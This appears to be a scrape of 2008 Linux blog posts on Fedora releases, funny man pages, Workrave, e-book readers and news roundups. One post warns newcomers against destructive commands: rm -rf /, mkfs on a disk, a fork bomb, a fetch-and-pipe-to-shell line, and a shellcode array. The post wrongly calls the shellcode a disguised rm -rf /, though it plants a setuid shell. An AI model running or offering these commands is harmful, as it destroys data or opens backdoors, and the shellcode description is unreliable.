A Visual Desktop Tour of 10 Fedora Releases

Fedora is without doubt one of the most prolific Linux distributions around. In the span of only 5 years, the Fedora Project has already unleashed 10 major versions of Fedora.

Let's take a trip down memory lane and have a visual desktop tour of this wonderful distro starting from its inaugural version that was released on November 6, 2003 until its most recent version that was out just a few days ago.

1. Fedora Core 1 "Yarrow"


2. Fedora Core 2 "Tettnang"


3. Fedora Core 3 "Heidelberg"


4. Fedora Core 4 "Stentz"


5. Fedora Core 5 "Bordeaux"


6. Fedora Core 6 "Zod"


7. Fedora 7 "Moonshine"


8. Fedora 8 "Werewolf"


9. Fedora 9 "Sulphur"


10. Fedora 10 "Cambridge"


To end this post, I will leave you with this poll question:

LOL With Funny Linux Man Pages

Are you feeling a little down lately? Why not open a Linux terminal and read some man pages. Well, not those man pages that can sometimes make our head spin. I'm talking about the funny man pages that will make you laugh out loud.

But first, you have to install the 'funny-manpages' package via Synaptic Package Manager (assuming you are using Ubuntu).


Just look for 'funny-manpages':

In case you didn't read the description carefully, there's a warning that says:

A set of miscellaneous humorous manpages (don't take them too seriously!).
Includes, amongst others, rtfm (1).
Warning! Some of these manpages might be treated offensive.
You've been warned.

You can also install the funny-manpages package via command line.
Code (assuming you use Ubuntu):

sudo apt-get install funny-manpages

Now start reading the humorous man pages by using the 'man' command.

Here's one funny example...

Code:

man baby

Output:

NAME
baby - create new process from two parents

SYNOPSIS
baby -sex [m|f] [-name name]

DESCRIPTION
baby is initiated when one parent process polls another server process
through a socket connection in the BSD version or through pipes in the
System V implementation. baby runs at low priority for approximately
forty weeks and then terminates with a heavy system load. Most systems
require constant monitoring when baby reaches its final stages of exe_
cution.

Older implementations of baby did not require both initiating processes
to be present at the time of completion. In those versions the initi_
ating process which was not present was awakened and notified of the
results upon completion. It has since been determined that the pres_
ence of both parent processes result in a generally lower system load
at completion, and thus current versions of baby expect both parent
processes to be active during the final stages.

Successful completion of baby results in the creation and naming of a
new process. Parent processes then broadcast messages to all other
processes, local and remote, informing them of their new status.

OPTIONS
-sex define the gender of the created process

-name assign the name name to the new process

EXAMPLES
baby -sex f -name Jacqueline

completed successfully on July 9, 1992 at 9:11pm. Jacqueline's vital
statistics: 8 pounds 3 oz, 20 inches, long dark hair. The parent pro_
cess, Kim Dunbar, is reportedly doing fine.

SEE ALSO
cigar(6), dump(5), cry(3).

BUGS
Despite its complexity, baby only knows one signal, SIGCHLD, (or SIGCLD
in the System V implementation), which it uses to contact the parent
processes. One or both parent processes must then inspect the baby
process to determine the cause of the signal.

The sleep(1) command may not work as expected on either parent process
for some time afterward, as each new instance of baby sends intermit_
tent signals to the parent processes which must be handled by the par_
ents immediately.

A baby process will frequently dump core, requiring either or both par_
ent processes to clean up after it.

Despite the reams of available documentation on invoking and maintain_
ing baby, most parent processes are overwhelmed.

AUTHORS
From a man page by Joe Beck, .

Read other funny man pages with 'man' command followed by these keywords:

celibacy
condom
date
echo
flame
flog
gong
grope, egrope, fgrope
party
rescrog
rm
rtfm
tm
uubp
xkill
xlart
sex
strfry

Life is beautiful. Enjoy it. Use Linux :-)

Bring Back the Excitement to Linux Desktop Effects

There's no doubt that some people have become a Linux user after seeing a video of Compiz Fusion in action on YouTube or wherever. During the first few days or weeks, sure they will enjoy the experience of having an extraordinary desktop that they can show off to their Vista-using friends. However, like some of us, there will come a time that these new-to-Linux users will get bored with those extra eye-candies and will realize that they don't really need them. Now, if more and more people will lose interest in those stunning desktop effects, then the future of Compiz-Fusion and other compositing window managers for Linux will surely be bleak.

I have some suggestions that I hope could help make Linux desktop effects exciting once more.

Nowadays, I still appreciate a few useful Compiz plugins like Scale (Mac OS X Exposé clone), Ezoom (Enhanced Zoom Desktop), and Annotate among others. So, I think the developers should focus on improving those handy plugins.

But what about the many plugins that are more entertaining than useful? Should the developers just scrap them? --I don't think scrapping them would be a good idea. Instead, make those entertaining effects even more enjoyable. If possible, why not integrate some fun and challenging games with those plugins.

People love challenges. Instead of snow, why not let bricks fall from the top of the screen so that you can instantly play brick game, or how about playing a game like Hangman while the 3D desktop keeps on rotating. I think something like those games would make Compiz effects a lot more interesting. I know adding a game AI will not be a walk in the park, but I believe it can be done.

Anyway, these are all my crazy ideas. You are always free to share with us your own views via comment on how to bring back the excitement to Linux desktop effects.

Workrave: A Geeky Way to Exercise while Using Linux

Workrave is a free and open source software application aimed at computer users who are suffering from occupational diseases such as Repetitive Strain Injury (RSI) and carpal tunnel syndrome. The program works by encouraging users to take a break every few minutes or so to help heal or prevent those injuries mentioned above.

My "12 Essential Exercises for Geeks" article was mentioned at Free Software Magazine, and Ryan Cartwright, the author, was surprised that I failed to mention Workrave. To be honest, I didn't know about this software until I've read his post. I only had the chance to try Workrave just recently, so I'm writing this quick observation about this program.

Workrave does everything as advertised. It regularly reminds you via desktop notification to take micro-pauses and rest breaks, and it tells you if you have exceeded your daily computer usage limit. The default and most probably the recommended time to take micro-pauses is every 3 minutes with a 30-second break duration, every 45 minutes for rest breaks with a 10-minute break duration, and the daily computer use limit is set to 4 hours.


During rest breaks, a sexy animated character named "Miss Workrave", urges the user to do some good stretching exercises...


I ended up using Workrave for a short time only because it has become quite annoying. Since I'm used to using the computer for 1 to 2 hours straight, I skipped thru several breaks and exercises making Workrave useless in my case. Don't get me wrong, but to use this software, I think you need to have a great amount of discipline.

Anyway, I'm totally fit right now so I guess there's no reason for me to use Workrave. But to those who are already having symptoms of RSI or carpal tunnel syndrome, this could be the perfect software aid for you.

To those who want to try Workrave, it's available in most Linux distro repositories so just search for it. You can as well get it directly from its download page HERE.

You may also want to check out these interesting articles about Workrave:

* Land of the Freeware: Workrave, a great way to kiss RSI good-bye

* Marcel's Linux App of the Month: Workrave

* Workrave fights repetitive strain injuries

Is Workrave useful to you, or useless? Please share with us your views via comment.

Weekly Ten (11-24-2008)

10 Latest News, Blogs, Tips, and Reviews that I find Interesting and Useful:

1. The eco machine that can magic water out of thin air
Water, Water, everywhere; nor any drop to drink. The plight of the Ancient Mariner is about to be alleviated thanks to a firm of eco-inventors from Canada who claim to have found the solution to the world's worsening water shortages by drawing the liquid of life from an unlimited and untapped source - the air.
More @ Guardian.co.uk

2. Sorting 1PB with MapReduce
We are excited to announce we were able to sort 1TB (stored on the Google File System as 10 billion 100-byte records in uncompressed text files) on 1,000 computers in 68 seconds. By comparison, the previous 1TB sorting record is 209 seconds on 910 computers.
More @ Googleblog

3. SimplyMEPIS: The best desktop Linux you haven't tried
Nowadays, everyone uses Ubuntu, most people have used Fedora, and many folks have tried openSUSE. SimplyMEPIS ... not so many. That's a shame, because this relatively obscure Debian-based desktop distribution from Morgantown, WV, is an outstanding desktop operating system. With SimplyMEPIS 8 at beta 5 and closing in on release, I tested the distribution and found it to be a keeper.
More @ Linux.com

4. Tennis ball fetcher

More @ HackaDay

5. Making Time for the MIT’s (Most Important Things)
Have you ever finished a day, looked around, and realized you did not do some of the most important things on your mind? You kept on meaning to get to it, but there just was not enough time!
More @ Lifehacker

6. Nintendo Promises Intense, Innovative Games in '09
Nintendo's Cammie Dunaway, speaking with MTV Multiplayer's Stephen Totilo, has promised 2009 will see Wii games that will make the most intense of gamers "stand up and pay attention."
More @ PCWorld.com

7. We Are Typists First, Programmers Second
When you're a fast, efficient typist, you spend less time between thinking that thought and expressing it in code. Which means, if you're me at least, that you might actually get some of your ideas committed to screen before you completely lose your train of thought.
More @ CodingHorror

8. UT Austin creates world's highest resolution tiled display: Stallion

More @ Engadget

9. Defending the flame of Linux freedom
Increasingly we're seeing big business jump on the Linux bandwagon, as companies wake up to the money that can be made out of a community of developers working for free.
More @ TechRadar

10. Living Simply: The Ultimate Guide to Conquering Your Clutter
For many years, I was a packrat, clinging to possessions like a safety blanket, like trophies, like you might cling to the past. My life was filled with clutter, from my closets to my living room to my countertops to my desk at work.
More @ ZenHabits

15 Inspiring Steve Jobs Quotes for FOSS Developers to Ponder

Steve Jobs, Apple's co-founder and CEO, is the genius behind some of the most innovative and influential tech products in history. His great accomplishments truly speak volumes about his character.

It's a known fact that Free and Open Source software developers are inspired by the words of Stallman and Torvalds, but I think it won't hurt if they will also reflect on some of these great quotes by Steve Jobs:

* "Sometimes when you innovate, you make mistakes. It is best to admit them quickly, and get on with improving your other innovations."

* "Being the richest man in the cemetery doesn't matter to me ... Going to bed at night saying we've done something wonderful... that's what matters to me."

* "We've gone through the operating system and looked at everything and asked how can we simplify this and make it more powerful at the same time."

* "Be a yardstick of quality. Some people aren't used to an environment where excellence is expected."

* "Design is not just what it looks like and feels like. Design is how it works."

* "We're gambling on our vision, and we would rather do that than make "me too" products. Let some other companies do that. For us, it's always the next dream."

* "It took us three years to build the NeXT computer. If we'd given customers what they said they wanted, we'd have built a computer they'd have been happy with a year after we spoke to them - not something they'd want now."

* "Real artists ship."

* "It comes from saying no to 1,000 things to make sure we don't get on the wrong track or try to do too much."

* "We are very careful about what features we add because we can't take them away."

* "Look at the design of a lot of consumer products - they're really complicated surfaces. We tried to make something much more holistic and simple. When you first start off trying to solve a problem, the first solutions you come up with are very complex, and most people stop there. But if you keep going, and live with the problem and peel more layers of the onion off, you can often times arrive at some very elegant and simple solutions. Most people just don't put in the time or energy to get there. We believe that customers are smart, and want objects which are well thought through."

* "It's really hard to design products by focus groups. A lot of times, people don't know what they want until you show it to them."

* "You know, we don't grow most of the food we eat. We wear clothes other people make. We speak a language that other people developed. We use a mathematics that other people evolved... I mean, we're constantly taking things. It's a wonderful, ecstatic feeling to create something that puts it back in the pool of human experience and knowledge."

* "Innovation has nothing to do with how many R&D dollars you have. When Apple came up with the Mac, IBM was spending at least 100 times more on R&D. It's not about money. It's about the people you have, how you're led, and how much you get it."

* "It's rare that you see an artist in his 30s or 40s able to really contribute something amazing."

If you know of other inspiring quotes by Steve Jobs, please share it with us via comment.

Parallels Desktop 4: Installing Parallels Tools with Ubuntu as Guest

I received an Email from a Mac user who tried Ubuntu using Parallels Desktop 4.0. He has successfully installed Ubuntu "Intrepid Ibex" as guest OS, but he wanted help in installing the Parallels Tools.

If the Parallels Tools is installed, you can get plenty of add-in features like automatic mouse capture and dynamic screen resolution adjustment, so it can greatly enhance the overall usability and performance of the guest OS.

Since I also have Parallels Desktop 4 on my Mac OS X Leopard, I will be showing you how I easily installed the Parallels Tools when using Ubuntu 8.10 as guest:

Step-1. Start Parallels Desktop for Mac, run Ubuntu and login.

Step-2. Once logged in, go to Parallels Desktop menu then click on Virtual Machine --> Install Parallels Tools.

Step-3. A prompt will appear. Just click "Continue" to mount the CD-ROM drive.


Step-4. Using the terminal in Ubuntu, open the Parallels Tools Installer.
Code:
cd /media/cdrom
sudo sh ./install

Step-5. A graphical installer will then appear. Just go on, and if the installation is successful, you will need to reboot...

...And, done!

Currently, there's still no OpenGL graphics acceleration support for Linux in Parallels Desktop 4.0. Anyway, you can still enjoy Ubuntu, and try its unique features and wide selection of great open source software applications.

The 7 Deadly Linux Commands

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.

Yo Frankie!, Now Shipping!

One of the most highly anticipated open source games of 2008 is finally shipping. After several months of development and unexpected delays, Blender Institute's Yo Frankie! has been unleashed for the world to play. From the project's website:

The long wait is almost over; today the dvds were delivered to the Blender Institute. Tomorrow we'll pack them all for our sponsors/customers, Monday it gets picked up by the Global Mail service.
Delivery is usually 2-4 days for countries close, 1 week for rest of Europe, 2 weeks for USA and rest of world.

Yo Frankie! is cross platform and can be played in Linux, Windows, and Mac OS X. Currently, there are no download mirrors given for the final version of the game, but there was a demo released last September for you to try.

I can't wait to get my hands on Yo Frankie! as I'm also planning to write a review of it for you all. If anyone out there who already has a copy of the game and is kind-hearted enough to share, please drop me a line :-)

For the meantime, let's watch this:

Weekly Ten (11-17-2008)

10 Latest News, Blogs, Tips, and Reviews that I find Interesting and Useful:

1. The Sober Science of Migrating Rubber Duckies
Challenged to probe under Greenland's glaciers, NASA robotics expert Alberto Behar wondered what mechanism might endure subzero cold, the pressure of mile-thick ice and currents that sometimes exceed the flow rate of Niagara Falls. It was a daunting engineering proposition, even for someone experienced in conceiving robot explorers suitable for Mars and the moons of Jupiter.
More @ TheWallStreetJournal Online

2. Bug Labs creates open source Lego for software engineers
Most of the new breed of open source hardware centers on specific products. Bug Labs is taking a different approach. Instead of developing particular devices, Bug Labs' goal is to provide a Lego-like collection of open source hardware and software that customers can use to build their own devices.
More @ Linux.com

3. Apple Launches Internal University
Apple Inc. has long been in the educational market, but now the educational market is working its way into Apple Inc.
More @ PCWorld.com

4. Mac pro ultra mini

More @ HackaDay.com

5. Android: No iPhone Killer
T-Mobile's G1, the first phone running Google's Android software stack, is no iPhone killer, writes Ted Landau. It's Apple's dedication to design, ease of use and hardware-software integration that puts the advantage on iPhone's side.
More @ LinuxInsider

6. Recession Drives the Greening of the Electronics Industry
Several electronics manufacturers, such as Dell, LG and Sony recently partnered with recycling facilities to offer take-back programs for consumers to freely dispose of their gadgets.
More @ Wired.com

7. How To Install VMware Server 2 On A Mandriva 2009.0 Desktop
This tutorial provides step-by-step instructions on how to install VMware Server 2 on a Mandriva 2009.0 desktop system. With VMware Server you can create and run guest operating systems ("virtual machines") such as Linux, Windows, FreeBSD, etc. under a host operating system.
More @ HowtoForge

8. Replica 4004 Calculator Features First Intel Microprocessor Used by Mankind

More @ Gizmodo

9. How we help track flu trends

Google search isn't just about looking up football scores from last weekend or finding a great hotel for your next vacation. It can also be used for the public good.
More @ Googleblog

10. Kindle Economics
A few weeks ago I evaluated Amazon’s Kindle. While I really liked the device, the big problem I had with it was that at its current price of $359.00 it was too expensive at this point for mass consumer adoption.
More @ ZDNet Blog

Internet Café Invaded by Linux Desktop

A while ago, I was in an Internet café at a tiny mall here in Bohol for a quick check at my Email. The place has around 40-50 desktop computers with decent tech specs and with LCD monitors. I've been there before and have noticed that most of their machines ran in Windows, while a few ran in Mac OS X. Linux was nowhere to be found.

But today is different. I saw a monitor displaying brownish desktop wallpaper that made me smile. Yes, it's definitely Ubuntu. I later found out that they have installed Ubuntu in about 10 of their PC's.

I then picked a computer to use, and of course selected a Linux one. To start using the PC, you have to insert (like a jukebox) a 5-peso coin that would be good for 10 minutes.


I learned that they are using Ubuntu "Hardy Heron" with the still buggy Beta version of Firefox 3, so I hope their technicians will do an update as soon as possible. Anyway, I think Hardy is pretty much stable with their hardware, and there were no other major annoyances that I have encountered. I just hope a lot of people will notice how speedy Linux is compared to Windows.

There's a pretty cool scene at my side. I saw 3 girls that were busy working with probably their school projects in an Ubuntu desktop.

I took a photo (not of the girls) but of my display so that you will believe me that I'm actually using Linux (hehe). I used my phone's camera so please bear with me if it's a bit blurry:


If you're still not convinced, the Internet café is located at the topmost floor of BQ Mall in Tagbilaran City, and its name is Megabyte :-)

You may ask why I'm happy about this recent experience. ---Well, I really want Linux to succeed, and seeing it now being used in a Windows-dominated Internet café business is a telltale sign that the Linux desktop is geared up for the mainstream crowd. So, cheers to that!

A Geek Chick's Peek at Fedora 10 "Preview"

Fedora 10, codenamed "Cambridge" is just around the corner. This upcoming version of Fedora will be released this November 25, so I'm pretty much excited about it already.

To give us a little sneak peek of what's to come, Aby Cruz of LinuxedStuff.com wrote for us her initial observations after she has installed and tested Fedora 10 "Preview" on her laptop. Here it goes:

Test Machine Specs:
Laptop Name: Misato
Brand: Acer Travelmate 6291
70 GB Logical Partition ext3 (for Fedora)
1024 MB RAM

Introduction:
First thing's first, why did I proceed on installing the preview version of Fedora 10 on Misato? --I haven't configured fully my notebook that's why I wasn't afraid to give Cambridge a test drive. And, I was also intrigued with the idea of using Plymouth for a quicker boot-up of this OS.

You might be thinking what the hell is Plymouth. Plymouth is a program written by Fedora's developers. Its main purpose is to provide a flicker-free and seamless startup. Therefore dropping the use of RHGB. So far it didn't fail. Within 45 seconds I reached login page. In less than 15 seconds, my desktop has finished loading. This program has exceeded my expectation although I found it quite troubling for Fedora to hang up every time I turn on my notebook. Then on my second try for boot-up, it went smoothly. I just hope this doesn't persist onto the stable release.


Software:
I was successful in installing Cambridge Preview, and I noticed some applications that were replaced with something else. Like, Pidgin to Empathy Instant Messenger; Eclipse Ganymede (from Fedora 9) to Fedora Eclipse based on Eclipse 3.4.1. I mentioned these 2 because it was pretty obvious. And these changes are very remarkable.

I also noticed OpenOffice 3.0 and Gimp 2.6, which were not included in the official list of accepted features in FedoraProject website. And both launched so fast that I didn't notice they were there already. I'm loving Linux more with this.


Hardware:
During my exploration of Fedora 10, I didn't expect Misato would detect my wifi router. When I was using Fedora 9 "Sulphur", I had a hard time activating its WLAN device and I was supposed to use ndiswrapper to make it work. But since Cambridge did a good job, I don't see ndiswrapper crossing paths with me anytime soon. Unless, this wonderful feature will not be included in the stable release this coming 25th of November. But that won't happen, right?


Conclusion:
There are still a lot of new features that I have to see for myself. This is just to give everyone an idea of what's with the upcoming Fedora 10. And, I can say that this is a Linux distro worth waiting for. Being a Fedora user, I am pretty excited on what it can do and what I can do with it for the coming days/months or even years.

Take this Linux: Windows Boot Sequence Visualized

I've seen a cool visualization of the Linux boot sequence today. To those who haven't seen it yet, here's the image:

According to Perry Hung, the creator:

This is a visualization I made for funsies of a linux boot sequence where each function is a node and each edge represents a function call, direct branch, or indirect branch. Nodes are laid out using an unweighted force-directed layout algorithm, where each node is simulated as if it were electrically repulsive and had springs between nodes.

The little "lobe" on the left is made up the interrupt processing routines (irq vectors, irq_svc, etc). The tail at the top is the bootloader. The main thing in the middle is the linux boot sequence.

The entire graph represents a call chain from the bootloader up until it jumps into userspace to a shell prompt...

A while ago, I received an email from someone named Jason. He attached an image file that he described as "a visualization of the Windows boot sequence". So, I thought this might be a direct response to the "Linux boot sequence visualization" from a guy who obviously loves Windows. Until I saw the attachment from his email:

He didn't leave further description so I guess it is up to us to interpret his work of art :-)

Kubuntu 8.10 + KDE 4 = Failed

After installing the latest KDE flavor of Ubuntu last night, I am supposed to write my initial impressions about it today, and I expected it to be good. Unfortunately, something unexpected happened. Kubuntu 8.10 "Intrepid Ibex" failed miserably after the installation.

The installation was uneventful, and it quickly finished without any trouble.

Then came the glitch. I couldn't get inside Kubuntu's KDE 4 desktop. I can only go as far as seeing the splash image...

Followed by this...

"What the heck!"

Then back to the login screen...

I tried logging in again and again and also rebooted, but the same thing happened.

This is really sad as I'm using the same test machine when I tested Mandriva 2009, hence you can't blame it on my hardware.

Is KDE 4 causing the problem? I don't know and I don't care, because at this point in time, I just want something that works!

Anybody out there who's having the same problem with Kubuntu 8.10?

Ubuntu 9.04 “Jaunty Jackalope” Mock-up Designs

The next Ubuntu release codenamed "Jaunty Jackalope" won't arrive until April of next year, but some people are already creating mock-ups of its desktop theme. Though there is no plan of a theme redesign for this next version, I know some of you, especially those who are disappointed with the Intrepid Ibex theme, are still hoping to see a completely refurbished Ubuntu look. So here are a few Ubuntu 9.04 "Jaunty Jackalope" mock-up designs that are showing up this early:

This one is created by Jose Javier Espinoza:

The following two themes are created by Cheke:



I know that they are not as polished as this famous mock-up of Intrepid Ibex...

...but until Ubuntu can come up with a killer theme, expect to see more user-submitted mock-up designs for your viewing pleasure.

Weekly Ten (11-10-2008)

10 Latest News, Blogs, Tips, and Reviews that I find Interesting and Useful:

1. China Hijacks Popular BitTorrent Sites
China is not new to censoring the Internet, but up until now, BitTorrent sites have never been blocked. Recently however, several reports came in from China, indicating that popular BitTorrent sites such as Mininova, isoHunt and The Pirate Bay had been hijacked.
More @ Torrentfreak.com

2. The art of the field study
The role of "user experience" research is to try and get the inside story on what people do when they search. We're constantly asking: What's the user's experience of search? What works and doesn't work for them? What are they looking for? What DO they want?
More @ Googleblog

3. Linux boots in 2.97 seconds
Japanese embedded Linux house Lineo has announced a quick-start technology that it claims can boot Linux in 2.97 seconds on a low-powered system. The technology appears similar to but much faster than Linux's existing "suspend-to-disk" capability.
More @ Linuxdevices.com

4. Adjustable breadboard power supply

More @ HackaDay

5. First Look: Songbird Finally Gives iTunes Some Competition
Thanks to the hard work of the Pioneers of the Inevitable, Songbird is finally in its 1.0 Release Candidate stage and nearly ready for prime time. So how does it stack up against Apple’s built-in 800-pound gorilla? Can it replace iTunes for many users?
More @ theAppleblog

6. Comparison of Python virtual machines
In this article I’m going to go through some details about what is going on under the hood when you run a Python program, as well how those details have changed over the years in different python’s implementations ranging from original CPython (Python implementation in C) all the way to the newest implementations like PyPy.
More @ Polishlinux.org

7. Microsoft 'Not Against' Open Source
"Open source is not a product but an approach to software development," said Matthew Hardman, platform strategy manager at Microsoft Singapore. "Microsoft does not compete with open source, just as Nike does not compete with running."
More @ PCWorld.com

8. Honda introduces new walking assist machine, doubles as bionic wedgie maker

More @ Engadget

9. iPhone tops business rankings, steals Nokia market share
Often labeled the outsider in the corporate world, Apple's iPhone has already reached the top of J.D. Power's satisfaction ranks for business smartphones -- and is simultaneously the second-largest smartphone maker in the world.
More @ AppleInsider

10. Why do old bugs still exist?
It's really begun to baffle me why certain bugs within the FOSS world haven't been fixed yet, or have taken so long to be fixed. A couple that come to mind come from recent experiences I've had either directly, or indirectly with these bugs.
More @ Raiden.net

10 Linux-powered E-book Readers

Linux just keeps popping up on many of the popular gadgets that are hogging the limelight nowadays. Some are quite conspicuous about it, like the Android phone that is being developed by a group that makes it very obvious, calling themselves the Open Handset Alliance. However, there are some that don't flaunt Linux around, like the Amazon Kindle. Not that they have to, but well, allow me to do it for them here anyway.

What's there to flaunt?

"To flaunt" is synonymous to "to display", so let's take it from there. The Kindle is just one of a number of eBook readers that have been popularized by their distinctive displays, operating on a technology named electronic paper or e-paper. Uh-huh, E-paper... WHICH IS? Ok, E-paper is a type of display that has two essential features: an appearance that closely mimics that of ink on paper and an energy consumption that is substantially lower than those of conventional displays like CRT or LCD. So why would you want to have a display that is just like, well, ordinary paper? The answer is pretty simple; ordinary if you like: think eyestrain. How long can you peer into that CRT monitor or even an LCD screen before your eyes start telling you that it's had enough? Not longer than you could when reading from a book, right? The reason lies in the fact that reading from paper makes use of reflective light while reading from a conventional screen is practically reading from the light source itself; backlight remember?

Largely because of this feature, practically all of the popular eBook readers make use of this technology. Yes, yes, but where does Linux come in? Well, most of these readers run on the Linux operating system. Below is a list of the more popular eBook readers operating on e-paper technology and at the same time running Linux.

Amazon Kindle

Arguably the most popular eBook reader, this device would top this list even if it were not alphabetically arranged. While it may not hold the largest display area, at 6" diagonally, its ability to download eBooks from Amazon has made it an overwhelming favorite.

Visit website HERE

BEBook eReader

Talk about file format support: pdf, mobi, prc, epub, lit, txt, fb2, doc, html, rtf, djvu, wol, ppt, mbp, chm, bmp, jpg, png, gif, tif, rar, zip, mp3. Talk about built-in language support: English, French, Spanish, German, Dutch, Chinese, Russian, Greek, Ukraine, Turkish, Japanese, Korean, Bulgarian, Estonian, and Polish.

Visit website HERE

Cybook Gen3

This device is stocked with a built-in dictionary lookup; one feature that the other readers on this table are not endowed with. Note taking is also made easier with its bookmark menu. At 0.9 s, it provides one of the faster full-screen refresh rates, resulting in a more seamless reading experience.

Visit website HERE

eRead STAReBOOK

One of the thinnest, at 3"; one of the longest battery lives, serving up to 10,000 page turns per charge; one of the fastest boot up times, at 15s; and one of the lightest at 176g. This eBook reader is packed with superlatives. And to top it all, price isn't one of them.

Visit website HERE

Ganaxa GeR2

Not much has been written about this particular eBook reader. Some of the known features are: a primary display with 8 levels of gray, a higher contrast, and a faster display (although no number has been specified). One notable description is its striking resemblance with the STAReBook (shown directly above).

Visit website HERE

Hanlin eReader V3

This reader has one of the better batteries in the lot, allowing you to turn 9,000 continuous pages on a single charge. Supports SD/MMC expansion memory. Also supports a wide array of file formats: PDF, TXT, RTF, EPUB, LIT, PPT, WOLF, DOC, CHM, FB2, PRC/MOBI, HTML, DJVU, MP3, TIFF, JPG, GIF, BMP, PNG, RAR, ZIP.

Visit website HERE

Hanlin eReader V9t

Tied with the iRex Digital Reader, this device tops this list in terms of screen size, at 10" when measured diagonally. It has a touch panel, which is one of its best qualities, and can support the ff formats: PDF, DOC, WOLF, HTML, JPG, TXT, CHM, RAR, ZIP, and other image files.

Visit website HERE

iRex Digital Reader

Also fitted with a 10" screen, it is one of two of the largest in this class. And like that other large screen reader, it allows you to make handwritten notes onscreen just like an ordinary pen and paper combo. This device however is equipped with WIFI and Bluetooth connectivity.

Visit website HERE

iRex iLiad

While it does not have a colored display, it is one of the more graphically-empowered readers with 16 gray levels. The same screen also allows user interaction through a touch-sensitive surface. It offers an SDK, allowing users to port or develop a number of Linux apps.

Visit website HERE

Sony Reader Digital Book

This device comes equipped with a front light that can come handy when a backup light source is needed. It is one of the thinnest in this class, coming in at a sexy 0.4". Its touchscreen surface allows user interaction through a finger or a stylus.

Visit website HERE

If you're interested, you can play around in an environment that closely mimics these devices. E-ink, the company that supplies the displays for almost all of the devices mentioned above provides a prototype kit with a host system that comes with a pre-installed Linux operating system. Yes, that means it's pretty hackable. If you want to see how Linux runs on paper, electronic paper that is, I suggest you give it a shot... and don't bother to take out your pen.

This entry was written for Tech Source from Bohol by John Carl P. Villanueva of Steaming Open Cup.

Android on iPhone

I once thought of someday seeing Linux running on an iPhone. Then came Android, the Linux-based mobile operating system that is destined to run on just about any modern electronic gadget. So now I firmly believe that it won't take long before we will see an Android-powered iPhone.

"Why bother installing Android on an iPhone?" you may ask. I've got a simple answer: a combination of the most gorgeous phone in the world with the most advanced mobile OS would be spectacular. Maybe only a few adventurous techies (me included) can appreciate the notion, but I don't mind telling you all this.

There's an active project called iPhone Linux that is still in the very early stages of development. They have a great goal of someday creating an open source operating system that can be a feasible competitor to the existing iPhone OS. They are also planning on collaborating with Android, OpenMoko, and Ubuntu Mobile. I'm sure one of the trickiest parts of development would be creating several iPhone specific drivers for display, multitouch, wi-fi, accelerometer, sound, baseband, and so on, so I wish them luck.

As of the moment, I haven't heard of anyone who has successfully installed Android on an iPhone. But there was a rumor about a Belgian man who has installed Android on his iPod touch (see photo below).

SOURCE

My list of Linux hackable gadgets may convince you that putting Android on an iPhone is never impossible. To those who can't wait, you can always check out the G1 phone from HTC, or hang on a bit for the Android-powered Moto that is coming in a few months.

12 Barack Obama Quotes on Technology

The historic U.S. Presidential election has come to an end with Barack Obama emerging victorious against John McCain. Obama will become the forty-fourth President of the United States and the first African-American to be elected for the highest office.

Some of my tech savvy readers are probably wondering how will Obama utilize technology to help improve the U.S. and world economy. That is why I'm going to share to you some of Barack Obama's tech related quotes to learn more about his plans. I also included links to the quotes' sources. Enjoy!

* "To restore America's competitiveness, we must recruit a new generation of science and technology leaders by investing in diversity."
SOURCE

* "Together, we could open up government and invite citizens in, while connecting all of America to 21st century broadband. We could use technology to help achieve universal health care, to reach for a clean energy future, and to ensure that young Americans can compete -- and win -- in the global economy..."
SOURCE

* "I will recruit new teachers and make new investments in rural schools, we'll connect all of America to 21st century technology and telecommunications."
SOURCE

* "We are a land of moon shots and miracles of science and technology that have touched the lives of millions across the planet."
SOURCE

* "As president, I will tap our natural gas reserves, invest in clean coal technology, and find ways to safely harness nuclear power."
SOURCE

* "Ensuring that the US continues to lead the world in science and technology will be a central priority for my administration."
SOURCE

* "I'll change the posture of our federal government from being one of the most anti-science administrations in American history to one that embraces science and technology."
SOURCE

* "We will fire government managers who aren't getting results, we will cut funding for programs that are wasting your money, we will use technology and lessons from the private sector to improve efficiency across every level of government."
SOURCE

* Obama said the nation needs to invest in solar, wind, biodiesel and clean coal technology "so the use of coal does not degrade our environment. We can do that if we are investing in the technology, the research and the development."
SOURCE

* "We must adapt and make tradeoffs among systems originally designed for the Cold War and those required for current and future challenges. We need greater investment in advanced technology ranging from the revolutionary, like unmanned aerial vehicles and electronic warfare capabilities, to systems like the C-17 cargo and KC-X air refueling aircraft--which may not be glamorous to politicians, but are the backbone of our future ability to extend global power."
SOURCE

* Obama said if elected his government would "harness technology to confront the biggest challenges that America faces".
SOURCE

* Pointing to President Kennedy's challenge to put a man on the moon, Mr. Obama said: "I will set big goals for this country as president - some so large that the technology to reach them does not yet exist."
SOURCE

Is Ubuntu's Popularity Endangering the Linux Ecosystem?

